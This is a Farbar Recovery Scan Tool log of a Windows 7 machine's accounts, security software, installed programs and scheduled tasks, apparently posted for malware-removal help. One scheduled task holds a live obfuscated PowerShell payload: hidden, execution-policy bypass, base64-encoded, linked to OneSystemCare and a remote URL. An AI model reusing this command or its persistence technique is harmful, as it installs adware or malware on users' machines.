Additional scan result of Farbar Recovery Scan Tool (x64) Version:09-01-2015
Ran by [removed] (2016-01-09 18:08:05)
Running from C:\Users\[removed]\Desktop\Antimalware
Windows 7 Home Premium Service Pack 1 (X64) (2015-07-24 22:27:08)
Boot Mode: Normal
==========================================================


==================== Accounts: =============================

Administrator (S-1-5-21-4242849718-3108068718-1801462104-500 - Administrator - Disabled)
Guest (S-1-5-21-4242849718-3108068718-1801462104-501 - Limited - Disabled)
Hartley (S-1-5-21-4242849718-3108068718-1801462104-1000 - Administrator - Enabled) => C:\Users\Hartley
HomeGroupUser$ (S-1-5-21-4242849718-3108068718-1801462104-1003 - Limited - Enabled)

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AV: Symantec Endpoint Protection (Enabled - Out of date) {53C7D717-52E2-B95E-FA61-6F32ECC805DB}
AS: Windows Defender (Enabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Symantec Endpoint Protection (Enabled - Out of date) {E8A636F3-74D8-B6D0-C0D1-5440974F4F66}

==================== Installed Programs ======================

(Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

µTorrent (HKU\S-1-5-21-4242849718-3108068718-1801462104-1000\...\uTorrent) (Version: 3.4.5.41372 - BitTorrent Inc.)
Adobe Acrobat Reader DC (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}) (Version: 15.009.20079 - Adobe Systems Incorporated)
Adobe Flash Player 20 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 20.0.0.270 - Adobe Systems Incorporated)
Adobe Flash Player 20 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 20.0.0.267 - Adobe Systems Incorporated)
Adobe Photoshop CC 2015 (HKLM-x32\...\{793C2BF7-A4FE-4608-91C9-9282C5801C21}) (Version: 16.0 - Adobe Systems Incorporated)
AlienRespawn - Support Software (HKLM-x32\...\{A9668246-FB70-4103-A1E3-66C9BC2EFB49}) (Version: 9.4.67 - Alienware)
AlienRespawn (HKLM-x32\...\{0ED7EE95-6A97-47AA-AD73-152C08A15B04}) (Version: 9.4.67 - Alienware)
Alienware Command Center (HKLM-x32\...\InstallShield_{5DBA5090-EAB9-4E1C-8F92-C71A1423F14C}) (Version: 3.6.4.0 - Alienware Corp.)
Alienware Command Center (Version: 3.6.4.0 - Alienware Corp.) Hidden
Alienware On-Screen Display (HKLM-x32\...\InstallShield_{0D69462F-99CC-4F8D-942E-666E21CE59F8}) (Version: 0.33.0.11C - )
Alienware On-Screen Display (x32 Version: 0.33.0.11C - ) Hidden
Any Video Converter 5.8.4 (HKLM-x32\...\Any Video Converter_is1) (Version:  - Any-Video-Converter.com)
Apple Application Support (32-bit) (HKLM-x32\...\{7FA9ECCF-A2DE-4DA1-BFF3-81260DBDA68F}) (Version: 4.1.2 - Apple Inc.)
Apple Application Support (64-bit) (HKLM\...\{691F30EB-9009-475A-B8A9-E1BF39598FD5}) (Version: 4.1.2 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{3540181E-340A-4E7A-B409-31663472B2F7}) (Version: 9.1.0.6 - Apple Inc.)
Apple Software Update (HKLM-x32\...\{FFD1F7F1-1AC9-4BC4-A908-0686D635ABAF}) (Version: 2.1.4.131 - Apple Inc.)
Audacity 2.0.6 (HKLM-x32\...\Audacity_is1) (Version: 2.0.6 - Audacity Team)
Blender (HKLM\...\{D593042C-8739-488D-93B8-E6B202013E57}) (Version: 2.76.1 - Blender Foundation)
Bonjour (HKLM\...\{56DDDFB8-7F79-4480-89D5-25E1F52AB28F}) (Version: 3.1.0.1 - Apple Inc.)
CameraHelperMsi (x32 Version: 13.51.815.0 - Logitech) Hidden
Dell Support Center (HKLM\...\Dell Support Center) (Version: 3.1.5803.11 - Dell Inc.)
Dell Support Center (Version: 3.1.5803.11 - PC-Doctor, Inc.) Hidden
Dell System Detect - 1  (HKU\S-1-5-21-4242849718-3108068718-1801462104-1000\...\58d94f3ce2c27db0) (Version: 6.12.0.1 - Dell)
DivX Setup (HKLM-x32\...\DivX Setup) (Version: 2.8.0.13 - DivX, LLC)
EMSC (x32 Version: 0.0.0.25 - Compal Electronics, Inc.) Hidden
erLT (x32 Version: 1.20.138.34 - Logitech, Inc.) Hidden
FFmpeg (Windows) for Audacity version 2.2.2 (HKLM-x32\...\{9C7E31E3-017F-434C-AC40-24431A354A1E}_is1) (Version: 2.2.2 - )
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 47.0.2526.106 - Google Inc.)
Google Update Helper (x32 Version: 1.3.29.1 - Google Inc.) Hidden
HitmanPro 3.7 (HKLM\...\HitmanPro37) (Version: 3.7.12.253 - SurfRight B.V.)
HP Deskjet 1510 series Basic Device Software (HKLM\...\{D17E60E8-478A-4D4A-8147-21D481B5CA55}) (Version: 32.2.188.47710 - Hewlett-Packard Co.)
HP Deskjet 1510 series Help (HKLM-x32\...\{2E25FCEB-EFCB-4696-AA01-D3CBAC721831}) (Version: 30.0.0 - Hewlett Packard)
HP FWUpdateEDO2 (HKLM-x32\...\{415FA9AD-DA10-4ABE-97B6-5051D4795C90}) (Version: 1.2.0.0 - Hewlett-Packard)
HP Update (HKLM-x32\...\{912D30CF-F39E-4B31-AD9A-123C6B794EE2}) (Version: 5.005.002.002 - Hewlett-Packard)
HPDiagnosticAlert (x32 Version: 1.00.0001 - Microsoft) Hidden
Intel(R) Management Engine Components (HKLM-x32\...\{65153EA5-8B6E-43B6-857B-C6E4FC25798A}) (Version: 9.0.0.1323 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 10.18.14.4264 - Intel Corporation)
Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 12.0.7.1002 - Intel Corporation)
Intel(R) USB 3.0 eXtensible Host Controller Driver (HKLM-x32\...\{240C3DDD-C5E9-4029-9DF7-95650D040CF2}) (Version: 2.0.0.102 - Intel Corporation)
iTunes (HKLM\...\{FBEB98F8-64E4-4FA3-A15E-4A9F42FF962E}) (Version: 12.3.2.35 - Apple Inc.)
Java 8 Update 66 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F83218066F0}) (Version: 8.0.660.18 - Oracle Corporation)
Lagarith Lossless Codec (1.3.27) (HKLM-x32\...\{F59AC46C-10C3-4023-882C-4212A92283B3}_is1) (Version:  - )
LAME v3.99.3 (for Windows) (HKLM-x32\...\LAME_is1) (Version:  - )
Logitech G930 (HKLM\...\{91C4D79C-3579-48E8-ADFA-8818042AEB73}) (Version: 1.0.364 - Logitech)
Logitech Gaming Software 8.76 (HKLM\...\Logitech Gaming Software) (Version: 8.76.155 - Logitech Inc.)
Logitech Webcam Software (HKLM-x32\...\{D40EB009-0499-459c-A8AF-C9C110766215}) (Version: 2.51 - Logitech Inc.)
Malwarebytes Anti-Malware version 2.2.0.1024 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.0.1024 - Malwarebytes)
Microsoft .NET Framework 4.5.2 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.5.51209 - Microsoft Corporation)
Microsoft ASP.NET MVC 4 Runtime (HKLM-x32\...\{3FE312D5-B862-40CE-8E4E-A6D8ABF62736}) (Version: 4.0.40804.0 - Microsoft Corporation)
Microsoft Office 2007 Service Pack 3 (SP3) (HKLM-x32\...\{91120000-0030-0000-0000-0000000FF1CE}_ENTERPRISER_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISER) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 (HKLM-x32\...\{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}) (Version: 9.0.21022 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 (HKLM-x32\...\{820B6609-4C97-3A2B-B644-573B06A0F0CC}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Mozilla Firefox 43.0.1 (x86 en-US) (HKLM-x32\...\Mozilla Firefox 43.0.1 (x86 en-US)) (Version: 43.0.1 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 43.0.1.5828 - Mozilla)
MSI ODD Monitor (HKLM-x32\...\InstallShield_{B7D9BAAA-F068-4BF8-B929-462C3A8AB677}) (Version: 1.0.0.5 - Micro-Star Int'l Co., Ltd.)
MSI ODD Monitor (x32 Version: 1.0.0.5 - Micro-Star Int'l Co., Ltd.) Hidden
NVIDIA 3D Vision Driver 361.43 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 361.43 - NVIDIA Corporation)
NVIDIA GeForce Experience 2.8.1.21 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 2.8.1.21 - NVIDIA Corporation)
NVIDIA Graphics Driver 361.43 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 361.43 - NVIDIA Corporation)
NVIDIA HD Audio Driver 1.3.34.4 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.4 - NVIDIA Corporation)
NVIDIA PhysX System Software 9.15.0428 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.15.0428 - NVIDIA Corporation)
Qualcomm Atheros Bandwidth Control Filter Driver (Version: 1.0.30.1052 - Qualcomm Atheros) Hidden
Qualcomm Atheros Bluetooth Suite (64) (Version: 8.0.1.306 - Qualcomm Atheros Communications) Hidden
Qualcomm Atheros Killer E220x Drivers (Version: 1.0.30.1052 - Qualcomm Atheros) Hidden
Qualcomm Atheros Killer Network Manager Suite (HKLM-x32\...\{56BF70E8-EC59-4F68-BEE7-8B71432048C4}) (Version: 1.0.30.1052 - Qualcomm Atheros)
Qualcomm Atheros Killer Wireless-N Drivers (Version: 1.0.36.1067 - Qualcomm Atheros) Hidden
Qualcomm Atheros Network Manager (Version: 1.0.30.1052 - Qualcomm Atheros) Hidden
Qualcomm Atheros Wireless Drivers (HKLM-x32\...\{500D8B44-4ADB-4710-9512-959E65859998}) (Version: 1.0.36.1067 - Qualcomm Atheros)
QuickTime 7 (HKLM-x32\...\{80CEEB1E-0A6C-45B9-A312-37A1D25FDEBC}) (Version: 7.78.80.95 - Apple Inc.)
Realtek PCIE Card Reader (HKLM-x32\...\{0D61A55C-3ADC-409F-BF5B-A1766D1F5944}) (Version: 6.2.9200.28134 - Realtek Semiconductor Corp.)
Revo Uninstaller Pro 3.0.8 (HKLM\...\{67579783-0FB7-4F7B-B881-E5BE47C9DBE0}_is1) (Version: 3.0.8 - VS Revo Group, Ltd.)
RogueKiller version 11 (HKLM\...\8B3D7924-ED89-486B-8322-E8594065D5CB_is1) (Version: 11 - Adlice Software)
SHIELD Streaming (Version: 4.1.0250 - NVIDIA Corporation) Hidden
SHIELD Wireless Controller Driver (Version: 2.8.1.21 - NVIDIA Corporation) Hidden
Skype™ 7.16 (HKLM-x32\...\{FC965A47-4839-40CA-B618-18F486F042C6}) (Version: 7.16.102 - Skype Technologies S.A.)
Spotify (HKU\S-1-5-21-4242849718-3108068718-1801462104-1000\...\Spotify) (Version: 1.0.19.106.gb8a7150f - Spotify AB)
ST Microelectronics 3 Axis Digital Accelerometer Solution (HKLM-x32\...\{9C24F411-9CA7-4A8A-91F3-F08A4A38EB31}) (Version: 4.12.0040 - ST Microelectronics)
Symantec Endpoint Protection (HKLM\...\{A5DCF955-5D4A-471D-8CB3-DCFDF5C5DEE7}) (Version: 12.1.5337.5000 - Symantec Corporation)
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 16.3.8.62 - Synaptics Incorporated)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{91120000-0030-0000-0000-0000000FF1CE}_ENTERPRISER_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
VC80CRTRedist - 8.0.50727.6195 (x32 Version: 1.2.0 - DivX, Inc) Hidden
Vegas Pro 12.0 (64-bit) (HKLM\...\{87CEB7C0-1D35-11E2-8F19-F04DA23A5C58}) (Version: 12.0.394 - Sony)
WinPatrol (HKLM-x32\...\{6A206A04-6BC1-411B-AA04-4E52EDEEADF2}) (Version: 33.6.2015.18 - Ruiware)
WinRAR 5.30 beta 4 (64-bit) (HKLM\...\WinRAR archiver) (Version: 5.30.4 - win.rar GmbH)
Xvid Video Codec (HKLM-x32\...\Xvid Video Codec 1.3.4) (Version: 1.3.4 - Xvid Team)

==================== Custom CLSID (Whitelisted): ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

CustomCLSID: HKU\S-1-5-21-4242849718-3108068718-1801462104-1000_Classes\CLSID\{820D63D5-8CFF-46DE-86AF-4997DEDD6DB5}\localserver32 -> C:\Windows\system32\igfxEM.exe (Intel Corporation)

==================== Scheduled Tasks (Whitelisted) =============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

Task: {58EC4817-0242-457C-856F-6EFF568005C9} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-09-04] (Google Inc.)
Task: {5A40E926-9E86-4B89-9CFD-B12311724371} - System32\Tasks\Microsoft\Windows\UPnP\UPnPHostConfig => config upnphost start= auto
Task: {65A96554-2B24-4984-8FAC-BE4B61B7FAE6} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files (x86)\Apple Software Update\SoftwareUpdate.exe [2015-08-27] (Apple Inc.)
Task: {6D62789D-6940-423B-8BB7-278707CB40A9} - System32\Tasks\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime => C:\Windows\system32\GWX\GWXUXWorker.exe [2015-12-05] (Microsoft Corporation)
Task: {775C30A1-27DF-4321-9830-3B9AE34C21F6} - System32\Tasks\AdobeAAMUpdater-1.0-LOGAN-PC-Hartley => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [2015-05-26] (Adobe Systems Incorporated)
Task: {7CD82A09-B8E7-45B1-95E0-25FF309F12A8} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2016-01-03] (Adobe Systems Incorporated)
Task: {802386DC-0D05-4F8F-A570-9F33F0BA7829} - System32\Tasks\SystemToolsDailyTest => C:\Program Files\Dell Support Center\uaclauncher.exe [2011-03-22] (PC-Doctor, Inc.)
Task: {948C75B4-4AB6-42A6-BB2F-B6C9E5CF55DC} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-09-04] (Google Inc.)
Task: {973905AF-4E02-457C-AAE1-1F7A1AD80808} - \One System Care Monitor -> No File <==== ATTENTION
Task: {A3E72C15-3975-4605-9726-A4FF4B78E2B9} - \WebDiscover Browser Launch Task -> No File <==== ATTENTION
Task: {A74ABDA8-70C6-4AAC-BB4C-37ACDE0256C5} - System32\Tasks\{0B050847-0D0D-7F0E-7E11-0B05080F117E} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGYAaQBuAGgAbwBvAG0AZQAuAGkAbgBmAG8ALwB1AC8APwBhAD0AegBiAFoAaQBsADcANgBhAG0ATwBIAEEAOQBoAGYAbgByAHcAXwB4ADUAcQBJAHQAWgBRAFgATgBUADgARgBtAGUAZgBFADgATwBiAGoAMABYAHkAagA2AEcANgBmAHcAWQBvAG4AWgBOADkAeABQAEYAUgBHAE0ASQAtAFUAUQBZAFMAMABSAFUAZgA5AFYAYwBIADgANgBEAEsAMwByAHgAWgBZAEcANgBQAEEANQBuAEIAUgA1AEYASAA4ADYASgBfAEoANgBBADgAVABoAGMAaQBlAEgASAB6AGUARgBzADUAbwBVAGkAWABQAFkAbABhAEIAbABSAFEAMABFAHMAVQA4AHUATwB1ADgAVQBkAE8AXwB3AFkAdwBIAFYAWgB3AHoAOAB6AE0AYgBvAHAAcwBiADYAbABXAEEAaQBvAEsASwB0AFUAbgBvAHUAVABFAFgAVAA5ADIAYgB3AC0AcwBJAFUAbQBjAEwARgB6AHYARABZAEQAOQB5AGwAdQBJAG0AegBnAEEAaQBEAHUAXwBuAHcAegAtADIAbQBsADYAOAB2AC0AdwBRADYAZABGAGYAMQBLAEUAVAB5ADcATABEAFkAQwBKAHIAcAAwADQAWABxAEwARgBNAEsASAAzAGkANABoAHgAZABxAGwATABzAEoAWABEAHcAZwAzAFMAeAA0AFQAcgB2AHkATwB4AGcAbwBQAEcAQwBxADgAVQBKAGYAVgBMAHQAVABNAGcATgAzAGIASABtAEEAYQB6AFYAegAtAGwAcwBqAGkAbQBjAHUAVgA4AEUAdgA2ADEAUQBKAHUAZwB1AG4ATwBoAFQARwB6AFQAawBlAGwAWABwAHAAUABQAFIAZQBxAF8ARwBEAGsAVgA2AFQAOABaAEEAegBQAFQAdAAtAHQANQBpAGQATgA3ADcASwBvAHMAcQBBAEkANQBBAEoAQgBpAFkAaQBBAC0AVgBrAGcAaQBqAEkAbQAtAE0AYgBCADUAdQBLAF8ASgBzAFEAZQBWADMARgBqAGkASABzAGcAbQBHAEUAcQA0AHkAcwBPAE8AVwBfAE8ATAB2AFgAYQB5AC0AQQA2AHoAbAAtAGoAMQA3AHcAXwA4ADAAXwAxAE8AZwBWAHgAeAB4AEQAdABYADAAWgB2ADMAYwBPADcAUgBFAGkAWQBPAFQANABEAE0AawAxAGQAaABFAFUAeQBlAE8ARABqAGsAXwA3AFAAMABGAHkAMwBmAGMANgBXAHEAMQBHAGUAOQA2ADIAeABHAGYAVQBCAFEAQQBLADQASQBCADAARAAwAEwARgBDAFgAOABxAEQASABuAHEAVAB3AHgAcABpAHgAaQBoAHcANABVAGQAeAB1AEUATABFAF8ANgBaAGQALQBDAHEAVQBrAGgAVABLAHcAbABLAGoANABDADEATQBrAFAAWgBtADUASQBwADgAMgB3AGcAYgBKAFEAZwBkAFgAVwBSAGoAZgB5AFEAZwBIAGkAQQBGADYAVgBXADkAZABQADUASwBIAFoAcwBnAF8AXwBVADgATwBkAGEAVwBXAEoAbAB0AEwAcABnAEsARQBNAHQAeQAyAE8AdQAzADYAMQBOAE8AQwB5ADcAUgBxADQAWQB3AEMAdwBRADgAaQBCAHAAbwBiAGcAdABEAEkANwBDAHEAVABoAHAAYgBRADcAWQB1AE8AMQBHAHoASQBWAFgAbwBRAEUANQBSAEwANwBCAHUAQQBPAFIAQgBhAGkAVABFAEIAcgB1ADgARgBuAHMAQQBwAG8AegBQADAAVwBBAFEAMABRAGkAegBiADQAMQBDAG8ANQBtAFgAZAAzAHoAbgBYAF8AcQBTAGIARABxAHQAYwBmAHIAbwA1AEwAVABJADcAYwBwAEMAWQBRAEIAVQByAEQAegBlAGYAawBfAHIAdABzAFIAXwBVAFQAagBSAFkATwBCAG8ANgB1AEUAXwA0AFgAZgAwAGoASABjAGUARABvADQAWQBIAEMAVgBXAFEAcwBKADMAeABSADIANwBfADkAdABfAFUANgBsADgATgBXAE4AUABHAEMAawBuAFgAVQBfAEIARgBlAEcAMABZAHcAZQBJAGoANwBvAFUAMwBBAE4ANwBrAHIASgBKAEkAYQBFADcAbQA2ADAAZgBYAEEAdABUAFEAawBPADYAcABKAGMANgBhAFgATABkAFEARgBDAEYAWgBnAF8AYQBjAHQAVgB3AEEAVwBNAHEAZQBkAEYAYgB0AG0AdABlAHEAbQBhADkANwB4AEIAUwBMAHYAbwBqADgATgBOAGQAbgBVAEgAeABZAFEAMgBGAGkAMwBFAGMAUABkAGcAUwBYAHgANAAmAGMAPQBpADAAWABPAHIAdABGAG8ANQBnAGIASQBFADkAWABmAGsAcQBaAGcAUAAtAEQAOAA2ADQANAA4AGQAYQBFAEoARwBHAFgAcgBBADAAWgBDAFMAMgBYAFQANAAwAEEAYgBsAHcAeABPAEkARgA1AG8AZgB5AFgAUQBhAEYAXwBFAGMAUgBVAG8AdgAzAHAATQBXAEsAXwBVAGgAYQBkAGYAVwBDAHoARABTAFIAbwA5AEEAOQBVAHgAcABNAFYAWAA3AEEANgBoAFYAVgBNAEoAWQBOAHUARQBEAHcAUgBYAE0AOQBpADUAbAB2ADEASQBXAHkAXwBZAGMAWQA5AFoANgBlAEQAaQBTAHoASABkAHcASAAtADEAQwBSAFQAdQBUAEwAZQBpAFAAdgBqAHQAMABjAE4AUQB4AFgAUwBCAFgAWgByAHAATwBvADAAMgB4AGMAOABJAHgARwBOAHcAUgBuAGoAaQBwADYATgBTAEEAVAA3AFUAOQB6AGQASwBfAEwAZwB5AGwATwBPAGcANAAtAGYASwBHAG8ANQBpADUAcgBaAHAAZQBFAFkATQAwAE0AZgBuADcAbQBEAFEATAB3AGEARgAtAEMANAByAE4AVwBIADcARAA1AE4AUgBfAFgAegBGAC0AbQAtAEMAQQBmAE0AZQB3AEcASwAxAFMAYgBuAHgAXwBVAGsAOQBuAFIARQAtAGMARAA0ADUAOQBqAFEAdABSAHcASQBrAHUAVQBoAFYAcAB5AGYAYgBDADIATQBYADIAYQBMADgAbgBKAEwATwBLAEIAQgA3AGsAZABTAEUAcABUAHEANABqAEwAdQBGAHgAMQB5AHgAMgA1AHQAVgBTAFQARQBrADMAUQBvAFkAZgBWAFgANgAtAGcANwBOAHUAawBwAFUARwB3AGIAdQBuAGwAcgBWAFQAeQBVAEkATABtAG4AYgBaAFYAZABoAF8ARgBoAGUAMABEAEoAQgB3AEsAdQBNAE4AOAB5AEUAeABjADkANgBHAGQAeQBsAHQAMgBCAHkAdgA5AHkAVwBxAEEATABhAE4AZQBEAE4ARQA5AFEAOABKAEcAcABiAGEAeABrAGYATABwAHAAZgBBAEsAUABoAFQAcgBRAFYAUQA4ADYAcwBGAFkASQBqAGwAZwBjAGUAZwBBAHoAdQBhAHAAUgBwADEAaABHAGcARABVADIAdwBmAGoAOQBzAGEAMgBoADkAagBuAFIAdQBqAFYARgA3ADQAbwBpAHoAZAA1AHIANQBqAFUAQQBhAHgAVQBQADAAOAAtAEUAXwBLAHgANQBnAHgAcABCAEcAMwBsAHkAbgBFADUAYgBjAEMAOAA2AFIAVABPAEIAMAAwAHgAMgBIADIAaQBUAGIAbwBaAFUAcQBoAGkAQQBiAC0AbQBtAHEAOQA5AG4AZABaAFIASAB0AFAANABDADIAVABQAHEAaQB3AEQARgBnAGEATABGADYAZQBEAFgANQBjAGoAWgBEAFMAWABYAFQASwBqAGIATwBfAHgAVQBZAGgAVQB2AFIARAAzAGwATwBWAGcAeABlADcASgBzAGQAVABxAHoAYwBVAHoAcQBqAE0AMQBaAEIAdwBiAHMALQBHAG4AUQA1ADcASgA1AGoAZABHAGcARQBZAG4AYgBqADUAaABlAEkAbwBuAEYAXwB3AFMAWQBXAGQAZABmAF8ALQA5AEYAdgBVAEQAcwBUAHQAeABjAEIATABxAG0AOAA3AHEAbgBIAEkAeAAyAEwASAB4AHMAMABsADAAaABxAFAAeQBsAEcAUgBlAF8AYgB1AFMAcABlAC0ASgBtAEcANQBpAEYAcgAxAHAAYwBUAEkAegA5AHoATABRAGsAZABGADgANABtAE4AbgBkAEwATQBzAFUAdgAzAEcAQwBCAEEANgBlAHgAQgBXAEIAMABkAFQAQgBlAFUAZABOAEQAcwBLAHkAOABtAGoANgB1AGkAUQBSAGMAbwBhAGkARgBiAGYAaABKAGkAeABfAFIAeQBtADIAYgA5ADgASQBEAGQASABLAGcAdgBqAHkAMgA5AF8AUgB1AHUAYgB5AGIATgAzAG8AUwByAG0AbwBnADgASwBQAGkAcABwAG0AQgA2AEMATwBEAHAAZgB4AEoAZABXAGQAZQBuAHAAZQBMADkAeQA4AG0AOABTAEgAbwBHADgAZABIAE4AUQA3ADgAYQBLAEsAcQBSAHgATgBYAEgAOAAxAE4AYgBjAG0AQgBhAFIAUQBOAGEAUABMAEwANgBZAG8AMgBzAFkAUgBFAHIAXwBwAEEAVAByAGIAMABGAE0AUQB3AGYAUQA1AEkAUABkAGYAVABkAE0AUgB0AEkAbQBEAHgAcABCADkAZgBHAGoAZAAwAGsAdwAwAHUAdgBwAGoAbwBKAE4AWABvAHIANgBnAFIAdQBiAG0AUwAzAFIAYwAyAEwAYQB3AEIATwBzAG4AWABxAHkAVQBiAGoAOAAwADgAZABYAG4AdQBnAEkAJgByAD0AMQAxADQAMgA4ADIANAA5ADQANQAyADEAMAA4ADAANQAwADYAMAAiADsAJABzAHQAcwBrAD0AIgB7ADAAQgAwADUAMAA4ADQANwAtADAARAAwAEQALQA3AEYAMABFAC0ANwBFADEAMQAtADAAQgAwADUAMAA4ADAARgAxADEANwBFAH0AIgA7ACQAcAByAGkAZAA9ACIATwBuAGUAUwB5AHMAdABlAG0AQwBhAHIAZQAiADsAJABpAG4AaQBkAD0AIgBUAFQAVwBSADEAVgBNADEAIgA7AHQAcgB5AHsAaQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AbAB0ACAAMgApAHsAYgByAGUAYQBrADsAfQAkAHYAPQBbAFMAeQBzAHQAZQBtAC4AR